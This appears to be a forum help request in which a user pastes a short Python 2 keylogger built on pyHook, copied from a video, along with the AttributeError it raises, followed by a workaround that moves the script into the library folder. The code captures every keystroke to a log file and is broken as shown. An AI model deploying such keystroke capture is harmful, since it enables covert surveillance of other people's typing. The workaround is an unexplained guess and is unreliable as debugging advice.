I am copying the key logger from this video: (https://www.youtube.com/watch?v=8BiOPBsXh0g) and running the code:
import pyHook, sys, logging, pythoncom
file_log = 'C:\Users\User\Google Drive\Python'
def OnKeyboardEvent(event):
logging.basicConfig(filename = file_log, level = logging.DEBUG, format = '%(message)s')
chr(event.Ascii)
logging.log(10, chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.Pumpmessages()
This returns the error:
Traceback (most recent call last):
File "C:\Users\User\Google Drive\Python\pyHook.py", line 2, in <module>
import pyHook, sys, logging, pythoncom
File "C:\Users\User\Google Drive\Python\pyHook.py", line 12, in <module>
hooks_manager = pyHook.HookManager()
AttributeError: 'module' object has no attribute 'HookManager'
I am running Python 2.7.11 and a windows computer. I don't know what the problem is; please help. Thank you
I'm still unsure what the issue is but I found a solution. If you move the program you are trying to run into the same folder as the HookManager.py file then it works.
For me this file was: C:\Python27\Lib\site-packages\pyHook
